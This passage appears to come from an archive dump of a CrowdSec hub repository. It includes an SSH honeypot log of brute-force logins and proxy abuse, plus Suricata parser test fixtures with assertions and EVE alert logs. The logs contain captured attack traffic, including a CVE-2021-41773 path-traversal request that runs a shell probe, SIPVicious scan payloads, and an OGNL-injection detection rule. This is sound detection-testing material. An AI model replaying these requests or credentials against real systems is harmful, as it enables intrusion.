google.com\r\nConnection: close\r\n\r\n" 2022/05/06 15:38:52 [195.3.147.60:39075] [channel 1] closed 2022/05/06 15:38:52 [195.3.147.60:39075] connection closed 2022/05/06 15:40:33 [65.108.254.28:39092] authentication for user "root" with password "1234qwer" accepted 2022/05/06 15:40:33 [65.108.254.28:39092] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 15:40:33 [65.108.254.28:39098] authentication for user "nproc" with password "nproc" accepted 2022/05/06 15:40:33 [65.108.254.28:39098] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 15:40:33 [65.108.254.28:39092] [channel 0] session requested 2022/05/06 15:40:33 [65.108.254.28:39098] connection closed 2022/05/06 15:40:33 [65.108.254.28:39092] [channel 0] closed 2022/05/06 15:40:33 [65.108.254.28:39092] connection closed 2022/05/06 15:41:33 [195.3.147.60:33414] authentication for user "admin" without credentials rejected 2022/05/06 15:41:33 [195.3.147.60:33414] authentication for user "admin" with password "aisadmin" accepted 2022/05/06 15:41:33 [195.3.147.60:33414] connection with client version "SSH-2.0-PuTTY_Release_0.65" established 2022/05/06 15:41:33 [195.3.147.60:33414] [channel 0] direct TCP/IP forwarding from 127.0.0.1:24423 to 74.125.205.138:80 requested 2022/05/06 15:41:33 [195.3.147.60:33414] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 15:41:33 [195.3.147.60:33414] [channel 0] closed 2022/05/06 15:41:33 [195.3.147.60:33414] [channel 1] direct TCP/IP forwarding from 127.0.0.1:1511 to [2a00:1450:4010:c02::8a]:80 requested 2022/05/06 15:41:33 [195.3.147.60:33414] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 15:41:33 [195.3.147.60:33414] [channel 1] closed 2022/05/06 15:41:33 [195.3.147.60:33414] connection closed 2022/05/06 15:44:30 [190.2.139.67:58629] [channel 151] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 15:44:30 [190.2.139.67:58629] [channel 151] input: "GET /?requestid=57232 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 15:44:30 [190.2.139.67:58629] [channel 151] closed 2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.139.25:80 requested 2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] input: "GET / HTTP/1.1\r\nHost: omegle.com\r\nConnection: close\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\r\n\r\n" 2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] input: "GET http://omegle.com/ HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\r\n\r\n" 2022/05/06 16:17:16 [45.82.65.44:42736] [channel 32] closed 2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.142.25:80 requested 2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] input: "GET / HTTP/1.1\r\nHost: omegle.com\r\nConnection: close\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\r\n\r\n" 2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] input: "GET http://omegle.com/ HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\r\n\r\n" 2022/05/06 16:28:34 [45.82.65.44:42736] [channel 33] closed 2022/05/06 16:33:02 [190.2.139.67:58629] [channel 153] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested 2022/05/06 16:33:02 [190.2.139.67:58629] [channel 153] input: "GET /?requestid=44562 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 16:33:02 [190.2.139.67:58629] [channel 153] closed 2022/05/06 16:41:59 [190.2.139.67:58629] [channel 155] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested 2022/05/06 16:41:59 [190.2.139.67:58629] [channel 155] input: "GET /?requestid=90219 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 16:41:59 [190.2.139.67:58629] [channel 155] closedhub1/.tests/suricata-eve-detect/000077500000000000000000000000001437532772500170125ustar00rootroot00000000000000hub1/.tests/suricata-eve-detect/config.yaml000066400000000000000000000004771437532772500211530ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/suricata-logs.yaml scenarios: - ./scenarios/crowdsecurity/suricata-alerts.yaml postoverflows: - "" log_file: suricata-eve-detect.log log_type: suricata-evelogs labels: {} ignore_parsers: true override_statics: [] hub1/.tests/suricata-eve-detect/parser.assert000066400000000000000000000000001437532772500215170ustar00rootroot00000000000000hub1/.tests/suricata-eve-detect/scenario.assert000066400000000000000000000101021437532772500220320ustar00rootroot00000000000000len(results) == 2 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "suricata-eve-detect.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "suricata_alert" results[0].Overflow.Alert.Events[0].GetMeta("service") == "suricata" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("sub_log_type") == "suricata_alert_eve_json" results[0].Overflow.Alert.Events[0].GetMeta("suricata_alert_signature_id") == "2034125" results[0].Overflow.Alert.Events[0].GetMeta("suricata_flow_id") == "1398609176796675" results[0].Overflow.Alert.Events[0].GetMeta("suricata_rule_severity") == "1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-07-12T06:22:33.415742Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/suricata-major-severity" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "2.2.3.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["2.2.3.4"].IP == "2.2.3.4" results[1].Overflow.Sources["2.2.3.4"].Range == "" results[1].Overflow.Sources["2.2.3.4"].GetScope() == "Ip" results[1].Overflow.Sources["2.2.3.4"].GetValue() == "2.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "suricata-eve-detect.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "suricata_alert" results[1].Overflow.Alert.Events[0].GetMeta("service") == "suricata" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "2.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("sub_log_type") == "suricata_alert_eve_json" results[1].Overflow.Alert.Events[0].GetMeta("suricata_alert_signature_id") == "2011716" results[1].Overflow.Alert.Events[0].GetMeta("suricata_flow_id") == "274125657094473" results[1].Overflow.Alert.Events[0].GetMeta("suricata_rule_severity") == "2" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-07-12T11:26:34.407881Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "suricata-eve-detect.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "suricata_alert" results[1].Overflow.Alert.Events[1].GetMeta("service") == "suricata" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "2.2.3.4" results[1].Overflow.Alert.Events[1].GetMeta("sub_log_type") == "suricata_alert_eve_json" results[1].Overflow.Alert.Events[1].GetMeta("suricata_alert_signature_id") == "2011717" results[1].Overflow.Alert.Events[1].GetMeta("suricata_flow_id") == "274125657094473" results[1].Overflow.Alert.Events[1].GetMeta("suricata_rule_severity") == "2" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-07-12T11:26:35.407881Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "suricata-eve-detect.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "suricata_alert" results[1].Overflow.Alert.Events[2].GetMeta("service") == "suricata" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "2.2.3.4" results[1].Overflow.Alert.Events[2].GetMeta("sub_log_type") == "suricata_alert_eve_json" results[1].Overflow.Alert.Events[2].GetMeta("suricata_alert_signature_id") == "2011718" results[1].Overflow.Alert.Events[2].GetMeta("suricata_flow_id") == "274125657094473" results[1].Overflow.Alert.Events[2].GetMeta("suricata_rule_severity") == "2" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-07-12T11:26:36.407881Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/suricata-high-medium-severity" results[1].Overflow.Alert.Remediation == false results[1].Overflow.Alert.GetEventsCount() == 3 hub1/.tests/suricata-eve-detect/suricata-eve-detect.log000066400000000000000000000136441437532772500233630ustar00rootroot00000000000000{"timestamp":"2022-07-12T06:22:33.415742+0000","flow_id":1398609176796675,"in_iface":"eth0","event_type":"alert","src_ip":"1.2.3.4","src_port":33270,"dest_ip":"1.2.3.5","dest_port":80,"proto":"TCP","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2034125,"rev":4,"signature":"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"affected_product":["Apache_HTTP_server"],"attack_target":["Web_Server"],"created_at":["2021_10_05"],"cve":["CVE_2021_41773"],"deployment":["Internet","Perimeter"],"former_category":["EXPLOIT"],"performance_impact":["Low"],"signature_severity":["Major"],"updated_at":["2022_04_18"]}},"http":{"hostname":"34.245.178.108","http_port":80,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh","http_user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36","http_content_type":"text/html","http_method":"POST","protocol":"HTTP/1.1","status":400,"length":166,"http_request_body":"QT18ZWNobztlY2hvIC1uIFNvVWVWWVZmamV8bWQ1c3Vt","http_response_body":"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg=="},"files":[{"filename":"/bin/sh","sid":[],"gaps":false,"state":"CLOSED","stored":false,"size":33,"tx_id":0}],"app_proto":"http","flow":{"pkts_toserver":4,"pkts_toclient":4,"bytes_toserver":623,"bytes_toclient":599,"start":"2022-07-12T06:22:33.302595+0000"},"payload":"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIFNvVWVWWVZmamV8bWQ1c3Vt","stream":1} {"timestamp":"2022-07-12T11:26:34.407881+0000","flow_id":274125657094473,"in_iface":"eth0","event_type":"alert","src_ip":"2.2.3.4","src_port":5164,"dest_ip":"2.2.3.5","dest_port":5060,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2011716,"rev":3,"signature":"ET SCAN Sipvicious User-Agent Detected (friendly-scanner)","category":"Attempted Information Leak","severity":2,"metadata":{"created_at":["2010_07_30"],"updated_at":["2010_07_30"]}},"sip":{"method":"OPTIONS","uri":"sip:100@34.245.178.108","version":"SIP/2.0","request_line":"OPTIONS sip:100@34.245.178.108 SIP/2.0"},"app_proto":"sip","flow":{"pkts_toserver":1,"pkts_toclient":0,"bytes_toserver":448,"bytes_toclient":0,"start":"2022-07-12T11:26:34.407881+0000"},"payload":"T1BUSU9OUyBzaXA6MTAwQDM0LjI0NS4xNzguMTA4IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTI3LjAuMC4xOjUxNjQ7YnJhbmNoPXo5aEc0YkstMTYyMTQxNDY4O3Jwb3J0DQpDb250ZW50LUxlbmd0aDogMA0KRnJvbTogInNpcHZpY2lvdXMiPHNpcDoxMDBAMS4xLjEuMT47dGFnPTMyMzI2NjM1NjIzMjM2NjMzMTMzNjMzNDAxMzMzNTM4MzEzNzM0MzYzMDMyMzMNCkFjY2VwdDogYXBwbGljYXRpb24vc2RwDQpVc2VyLUFnZW50OiBmcmllbmRseS1zY2FubmVyDQpUbzogInNpcHZpY2lvdXMiPHNpcDoxMDBAMS4xLjEuMT4NCkNvbnRhY3Q6IHNpcDoxMDBAMTI3LjAuMC4xOjUxNjQNCkNTZXE6IDEgT1BUSU9OUw0KQ2FsbC1JRDogOTE4NDI0NTM1NTg4ODU4ODAyMDIxNjYxDQpNYXgtRm9yd2FyZHM6IDcwDQoNCg==","stream":0} {"timestamp":"2022-07-12T11:26:35.407881+0000","flow_id":274125657094473,"in_iface":"eth0","event_type":"alert","src_ip":"2.2.3.4","src_port":5164,"dest_ip":"2.2.3.5","dest_port":5060,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2011717,"rev":3,"signature":"ET SCAN Sipvicious User-Agent Detected (friendly-scanner)","category":"Attempted Information Leak","severity":2,"metadata":{"created_at":["2010_07_30"],"updated_at":["2010_07_30"]}},"sip":{"method":"OPTIONS","uri":"sip:100@34.245.178.108","version":"SIP/2.0","request_line":"OPTIONS sip:100@34.245.178.108 SIP/2.0"},"app_proto":"sip","flow":{"pkts_toserver":1,"pkts_toclient":0,"bytes_toserver":448,"bytes_toclient":0,"start":"2022-07-12T11:26:34.407881+0000"},"payload":"T1BUSU9OUyBzaXA6MTAwQDM0LjI0NS4xNzguMTA4IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTI3LjAuMC4xOjUxNjQ7YnJhbmNoPXo5aEc0YkstMTYyMTQxNDY4O3Jwb3J0DQpDb250ZW50LUxlbmd0aDogMA0KRnJvbTogInNpcHZpY2lvdXMiPHNpcDoxMDBAMS4xLjEuMT47dGFnPTMyMzI2NjM1NjIzMjM2NjMzMTMzNjMzNDAxMzMzNTM4MzEzNzM0MzYzMDMyMzMNCkFjY2VwdDogYXBwbGljYXRpb24vc2RwDQpVc2VyLUFnZW50OiBmcmllbmRseS1zY2FubmVyDQpUbzogInNpcHZpY2lvdXMiPHNpcDoxMDBAMS4xLjEuMT4NCkNvbnRhY3Q6IHNpcDoxMDBAMTI3LjAuMC4xOjUxNjQNCkNTZXE6IDEgT1BUSU9OUw0KQ2FsbC1JRDogOTE4NDI0NTM1NTg4ODU4ODAyMDIxNjYxDQpNYXgtRm9yd2FyZHM6IDcwDQoNCg==","stream":0} {"timestamp":"2022-07-12T11:26:36.407881+0000","flow_id":274125657094473,"in_iface":"eth0","event_type":"alert","src_ip":"2.2.3.4","src_port":5164,"dest_ip":"2.2.3.5","dest_port":5060,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2011718,"rev":3,"signature":"ET SCAN Sipvicious User-Agent Detected (friendly-scanner)","category":"Attempted Information Leak","severity":2,"metadata":{"created_at":["2010_07_30"],"updated_at":["2010_07_30"]}},"sip":{"method":"OPTIONS","uri":"sip:100@34.245.178.108","version":"SIP/2.0","request_line":"OPTIONS sip:100@34.245.178.108 SIP/2.0"},"app_proto":"sip","flow":{"pkts_toserver":1,"pkts_toclient":0,"bytes_toserver":448,"bytes_toclient":0,"start":"2022-07-12T11:26:34.407881+0000"},"payload":"T1BUSU9OUyBzaXA6MTAwQDM0LjI0NS4xNzguMTA4IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTI3LjAuMC4xOjUxNjQ7YnJhbmNoPXo5aEc0YkstMTYyMTQxNDY4O3Jwb3J0DQpDb250ZW50LUxlbmd0aDogMA0KRnJvbTogInNpcHZpY2lvdXMiPHNpcDoxMDBAMS4xLjEuMT47dGFnPTMyMzI2NjM1NjIzMjM2NjMzMTMzNjMzNDAxMzMzNTM4MzEzNzM0MzYzMDMyMzMNCkFjY2VwdDogYXBwbGljYXRpb24vc2RwDQpVc2VyLUFnZW50OiBmcmllbmRseS1zY2FubmVyDQpUbzogInNpcHZpY2lvdXMiPHNpcDoxMDBAMS4xLjEuMT4NCkNvbnRhY3Q6IHNpcDoxMDBAMTI3LjAuMC4xOjUxNjQNCkNTZXE6IDEgT1BUSU9OUw0KQ2FsbC1JRDogOTE4NDI0NTM1NTg4ODU4ODAyMDIxNjYxDQpNYXgtRm9yd2FyZHM6IDcwDQoNCg==","stream":0} hub1/.tests/suricata-logs-evelog/000077500000000000000000000000001437532772500172105ustar00rootroot00000000000000hub1/.tests/suricata-logs-evelog/config.yaml000066400000000000000000000004251437532772500213420ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/suricata-logs.yaml scenarios: - "" postoverflows: - "" log_file: suricata-logs-evelog.log log_type: suricata-evelogs labels: {} ignore_parsers: false override_statics: [] hub1/.tests/suricata-logs-evelog/parser.assert000066400000000000000000001623161437532772500217400ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 8 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-10T23:50:05.533101+0000\",\"flow_id\":1258832998001901,\"in_iface\":\"bond0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.4\",\"src_port\":52812,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"metadata\":{\"flowbits\":[\"ET.formdata\",\"http.dottedquadhost\"]},\"community_id\":\"xx\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2024468,\"rev\":3,\"signature\":\"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)\",\"category\":\"Attempted User Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_Struts2\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2017_07_14\"],\"deployment\":[\"Datacenter\"],\"former_category\":[\"WEB_SPECIFIC_APPS\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2020_08_10\"]},\"rule\":\"alert http any any -> $HTTP_SERVERS any (msg:\\\"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)\\\"; flow:established,to_server; http.method; content:\\\"POST\\\"; nocase; http.request_body; content:\\\"multipart\\\"; content:\\\"form-data\\\"; distance:1; within:11; content:\\\"ognl.OgnlContext\\\"; distance:1; fast_pattern; content:\\\"DEFAULT_MEMBER_ACCESS\\\"; distance:1; within:23; content:\\\"java.lang.ProcessBuilder\\\"; distance:1; content:\\\".start\\\"; distance:1; reference:url,securityonline.info/tutorial-cve-2017-9791-apache-struts2-s2-048-remote-code-execution-vulnerability/; reference:cve,2017-9791; classtype:attempted-user; sid:2024468; rev:3; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_07_14, deployment Datacenter, former_category WEB_SPECIFIC_APPS, performance_impact Low, signature_severity Major, updated_at 2020_08_10;)\"},\"files\":[{\"filename\":\"%{0b\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":1,\"tx_id\":0}],\"app_proto\":\"http\",\"payload_printable\":\"POST /ind\\n\",\"stream\":1,\"packet\":\"xxx\",\"packet_info\":{\"linktype\":1}}" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "suricata-evelogs" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "suricata-evelogs" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-10T23:52:31.097119+0000\",\"flow_id\":836311304881252,\"in_iface\":\"bond0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.5\",\"src_port\":53114,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"metadata\":{\"flowbits\":[\"min.gethttp\",\"http.dottedquadhost\"]},\"community_id\":\"xx\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2843816,\"rev\":1,\"signature\":\"ETPRO HUNTING Generic Inbound URI Directory Traversal\",\"category\":\"Potentially Bad Traffic\",\"severity\":2,\"metadata\":{\"created_at\":[\"2020_08_04\"],\"deployment\":[\"Perimeter\"],\"former_category\":[\"HUNTING\"],\"performance_impact\":[\"Moderate\"],\"signature_severity\":[\"Informational\"],\"updated_at\":[\"2020_08_04\"]},\"rule\":\"alert http any any -> [$HTTP_SERVERS,$HOME_NET] any (msg:\\\"ETPRO HUNTING Generic Inbound URI Directory Traversal\\\"; flow:established,to_server; http.uri; content:\\\"=../\\\"; fast_pattern; classtype:bad-unknown; sid:2843816; rev:1; metadata:created_at 2020_08_04, deployment Perimeter, former_category HUNTING, performance_impact Moderate, signature_severity Informational, updated_at 2020_08_04;)\"},\"app_proto\":\"http\",\"payload_printable\":\"GET /ind.\",\"stream\":1,\"packet\":\"xxx\",\"packet_info\":{\"linktype\":1}}" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-11T05:52:18.378379+0000\",\"flow_id\":883709815679084,\"in_iface\":\"eth0\",\"event_type\":\"flow\",\"src_ip\":\"1.2.3.6\",\"src_port\":56814,\"dest_ip\":\"127.0.0.1\",\"dest_port\":2352,\"proto\":\"TCP\",\"flow\":{\"pkts_toserver\":2,\"pkts_toclient\":1,\"bytes_toserver\":108,\"bytes_toclient\":54,\"start\":\"2022-07-11T05:48:21.714860+0000\",\"end\":\"2022-07-11T05:48:21.733121+0000\",\"age\":0,\"state\":\"closed\",\"reason\":\"timeout\",\"alerted\":false},\"tcp\":{\"tcp_flags\":\"16\",\"tcp_flags_ts\":\"06\",\"tcp_flags_tc\":\"14\",\"syn\":true,\"rst\":true,\"ack\":true,\"state\":\"closed\"}}" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "suricata-evelogs" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-11T05:53:51.912203+0000\",\"event_type\":\"stats\",\"stats\":{\"uptime\":510552,\"capture\":{\"kernel_packets\":373404,\"kernel_drops\":0,\"errors\":0},\"decoder\":{\"pkts\":373404,\"bytes\":75476420,\"invalid\":0,\"ipv4\":334023,\"ipv6\":141,\"ethernet\":373404,\"chdlc\":0,\"raw\":0,\"null\":0,\"sll\":0,\"tcp\":244417,\"udp\":86866,\"sctp\":0,\"icmpv4\":2740,\"icmpv6\":141,\"ppp\":0,\"pppoe\":0,\"geneve\":0,\"gre\":0,\"vlan\":0,\"vlan_qinq\":0,\"vxlan\":0,\"vntag\":0,\"ieee8021ah\":0,\"teredo\":0,\"ipv4_in_ipv6\":0,\"ipv6_in_ipv6\":0,\"mpls\":0,\"avg_pkt_size\":202,\"max_pkt_size\":1514,\"max_mac_addrs_src\":0,\"max_mac_addrs_dst\":0,\"erspan\":0,\"event\":{\"ipv4\":{\"pkt_too_small\":0,\"hlen_too_small\":0,\"iplen_smaller_than_hlen\":0,\"trunc_pkt\":0,\"opt_invalid\":0,\"opt_invalid_len\":0,\"opt_malformed\":0,\"opt_pad_required\":0,\"opt_eol_required\":0,\"opt_duplicate\":0,\"opt_unknown\":0,\"wrong_ip_version\":0,\"icmpv6\":0,\"frag_pkt_too_large\":0,\"frag_overlap\":0,\"frag_ignored\":0},\"icmpv4\":{\"pkt_too_small\":0,\"unknown_type\":0,\"unknown_code\":0,\"ipv4_trunc_pkt\":0,\"ipv4_unknown_ver\":0},\"icmpv6\":{\"unknown_type\":0,\"unknown_code\":0,\"pkt_too_small\":0,\"ipv6_unknown_version\":0,\"ipv6_trunc_pkt\":0,\"mld_message_with_invalid_hl\":0,\"unassigned_type\":0,\"experimentation_type\":0},\"ipv6\":{\"pkt_too_small\":0,\"trunc_pkt\":0,\"trunc_exthdr\":0,\"exthdr_dupl_fh\":0,\"exthdr_useless_fh\":0,\"exthdr_dupl_rh\":0,\"exthdr_dupl_hh\":0,\"exthdr_dupl_dh\":0,\"exthdr_dupl_ah\":0,\"exthdr_dupl_eh\":0,\"exthdr_invalid_optlen\":0,\"wrong_ip_version\":0,\"exthdr_ah_res_not_null\":0,\"hopopts_unknown_opt\":0,\"hopopts_only_padding\":0,\"dstopts_unknown_opt\":0,\"dstopts_only_padding\":0,\"rh_type_0\":0,\"zero_len_padn\":0,\"fh_non_zero_reserved_field\":0,\"data_after_none_header\":0,\"unknown_next_header\":0,\"icmpv4\":0,\"frag_pkt_too_large\":0,\"frag_overlap\":0,\"frag_invalid_length\":0,\"frag_ignored\":0,\"ipv4_in_ipv6_too_small\":0,\"ipv4_in_ipv6_wrong_version\":0,\"ipv6_in_ipv6_too_small\":0,\"ipv6_in_ipv6_wrong_version\":0},\"tcp\":{\"pkt_too_small\":0,\"hlen_too_small\":0,\"invalid_optlen\":0,\"opt_invalid_len\":0,\"opt_duplicate\":0},\"udp\":{\"pkt_too_small\":0,\"hlen_too_small\":0,\"hlen_invalid\":0},\"sll\":{\"pkt_too_small\":0},\"ethernet\":{\"pkt_too_small\":0},\"ppp\":{\"pkt_too_small\":0,\"vju_pkt_too_small\":0,\"ip4_pkt_too_small\":0,\"ip6_pkt_too_small\":0,\"wrong_type\":0,\"unsup_proto\":0},\"pppoe\":{\"pkt_too_small\":0,\"wrong_code\":0,\"malformed_tags\":0},\"gre\":{\"pkt_too_small\":0,\"wrong_version\":0,\"version0_recur\":0,\"version0_flags\":0,\"version0_hdr_too_big\":0,\"version0_malformed_sre_hdr\":0,\"version1_chksum\":0,\"version1_route\":0,\"version1_ssr\":0,\"version1_recur\":0,\"version1_flags\":0,\"version1_no_key\":0,\"version1_wrong_protocol\":0,\"version1_malformed_sre_hdr\":0,\"version1_hdr_too_big\":0},\"vlan\":{\"header_too_small\":0,\"unknown_type\":0,\"too_many_layers\":0},\"ieee8021ah\":{\"header_too_small\":0},\"vntag\":{\"header_too_small\":0,\"unknown_type\":0},\"ipraw\":{\"invalid_ip_version\":0},\"ltnull\":{\"pkt_too_small\":0,\"unsupported_type\":0},\"sctp\":{\"pkt_too_small\":0},\"mpls\":{\"header_too_small\":0,\"pkt_too_small\":0,\"bad_label_router_alert\":0,\"bad_label_implicit_null\":0,\"bad_label_reserved\":0,\"unknown_payload_type\":0},\"vxlan\":{\"unknown_payload_type\":0},\"geneve\":{\"unknown_payload_type\":0},\"erspan\":{\"header_too_small\":0,\"unsupported_version\":0,\"too_many_vlan_layers\":0},\"dce\":{\"pkt_too_small\":0},\"chdlc\":{\"pkt_too_small\":0}},\"too_many_layers\":0},\